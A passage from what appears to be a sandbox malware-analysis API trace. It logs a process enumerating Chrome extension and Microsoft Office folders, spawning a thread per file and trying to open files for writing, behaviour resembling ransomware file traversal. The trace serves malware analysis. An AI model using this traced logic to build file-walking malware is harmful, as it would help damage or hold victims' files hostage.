Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi" [0186.339] wcscat (in: _Dest=0x12d47810, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\" [0186.339] wcscat (in: _Dest=0x12d47810, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" [0188.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12d47810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc48 [0188.542] FindNextFileW (in: hFindFile=0x93b3b8, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.542] FindClose (in: hFindFile=0x93b3b8 | out: hFindFile=0x93b3b8) returned 1 [0188.542] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911150) returned 1 [0188.542] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8200) returned 1 [0188.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b49e0) returned 1 Thread: id = 7838 os_tid = 0x1a50 [0184.991] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11e) returned 0x8f80d8 [0184.991] wcscpy (in: _Dest=0x8f80d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN" [0184.991] wcscat (in: _Dest=0x8f80d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\" [0184.991] wcscat (in: _Dest=0x8f80d8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*" [0184.991] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x912bc8 [0184.991] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b438 [0186.340] wcscmp (_String1=".", _String2=".") returned 0 [0186.340] FindNextFileW (in: hFindFile=0x93b438, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.340] wcscmp (_String1="..", _String2=".") returned 1 [0186.340] wcscmp (_String1="..", _String2="..") returned 0 [0186.340] FindNextFileW (in: hFindFile=0x93b438, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.340] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.340] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.340] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x136) returned 0x9b6c20 [0186.340] wcscpy (in: _Dest=0x9b6c20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN" [0186.340] wcscat (in: _Dest=0x9b6c20, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\" [0186.340] wcscat (in: _Dest=0x9b6c20, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" [0188.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9b6c20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc50 [0188.544] FindNextFileW (in: hFindFile=0x93b438, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.544] FindClose (in: hFindFile=0x93b438 | out: hFindFile=0x93b438) returned 1 [0188.544] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x912bc8) returned 1 [0188.544] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f80d8) returned 1 [0188.544] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4b08) returned 1 Thread: id = 7839 os_tid = 0x1a54 [0184.991] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11e) returned 0x8f79e8 [0184.991] wcscpy (in: _Dest=0x8f79e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW" [0184.991] wcscat (in: _Dest=0x8f79e8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\" [0184.991] wcscat (in: _Dest=0x8f79e8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*" [0184.991] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911fc0 [0184.992] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93af38 [0186.341] wcscmp (_String1=".", _String2=".") returned 0 [0186.341] FindNextFileW (in: hFindFile=0x93af38, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.341] wcscmp (_String1="..", _String2=".") returned 1 [0186.341] wcscmp (_String1="..", _String2="..") returned 0 [0186.341] FindNextFileW (in: hFindFile=0x93af38, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.341] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.341] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.341] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x136) returned 0x9b6d68 [0186.341] wcscpy (in: _Dest=0x9b6d68, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW" [0186.341] wcscat (in: _Dest=0x9b6d68, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\" [0186.341] wcscat (in: _Dest=0x9b6d68, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" [0188.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9b6d68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x195c [0188.546] FindNextFileW (in: hFindFile=0x93af38, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.546] FindClose (in: hFindFile=0x93af38 | out: hFindFile=0x93af38) returned 1 [0188.546] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911fc0) returned 1 [0188.546] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f79e8) returned 1 [0188.546] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4c30) returned 1 Thread: id = 7840 os_tid = 0x9e0 [0184.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css")) returned 0x20 [0184.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css", dwFileAttributes=0x20) returned 0 [0184.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0184.993] GetLastError () returned 0x5 [0184.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css", dwFileAttributes=0x20) returned 0 [0184.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4160) returned 1 Thread: id = 7841 os_tid = 0x844 [0184.994] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd6) returned 0xd4d4160 [0184.994] wcscpy (in: _Dest=0xd4d4160, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" [0184.994] wcscat (in: _Dest=0xd4d4160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\" [0184.994] wcscat (in: _Dest=0xd4d4160, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*" [0184.994] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x913300 [0184.994] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b538 [0186.352] wcscmp (_String1=".", _String2=".") returned 0 [0186.352] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.352] wcscmp (_String1="..", _String2=".") returned 1 [0186.352] wcscmp (_String1="..", _String2="..") returned 0 [0186.352] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0186.352] wcscmp (_String1="TAB_OFF.GIF", _String2=".") returned 1 [0186.353] wcscmp (_String1="TAB_OFF.GIF", _String2="..") returned 1 [0186.353] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xea) returned 0x12cf7260 [0186.353] wcscpy (in: _Dest=0x12cf7260, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" [0186.353] wcscat (in: _Dest=0x12cf7260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\" [0186.353] wcscat (in: _Dest=0x12cf7260, _Source="TAB_OFF.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_OFF.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_OFF.GIF" [0186.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf7260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe4c [0186.844] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0186.844] wcscmp (_String1="TAB_ON.GIF", _String2=".") returned 1 [0186.844] wcscmp (_String1="TAB_ON.GIF", _String2="..") returned 1 [0186.844] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe8) returned 0xd4bbe18 [0186.844] wcscpy (in: _Dest=0xd4bbe18, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" [0186.844] wcscat (in: _Dest=0xd4bbe18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\" [0186.844] wcscat (in: _Dest=0xd4bbe18, _Source="TAB_ON.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_ON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_ON.GIF" [0186.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bbe18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0186.845] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0186.845] FindClose (in: hFindFile=0x93b538 | out: hFindFile=0x93b538) returned 1 [0186.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x913300) returned 1 [0186.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4160) returned 1 [0186.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d54a0) returned 1 Thread: id = 7842 os_tid = 0x848 [0184.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css")) returned 0x20 [0186.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css", dwFileAttributes=0x20) returned 0 [0186.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.354] GetLastError () returned 0x5 [0186.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css", dwFileAttributes=0x20) returned 0 [0186.354] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d48920) returned 1 Thread: id = 7843 os_tid = 0x8e0 [0184.995] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0xd4d5040 [0184.995] wcscpy (in: _Dest=0xd4d5040, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" [0184.995] wcscat (in: _Dest=0xd4d5040, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\") returned="C:\\Program 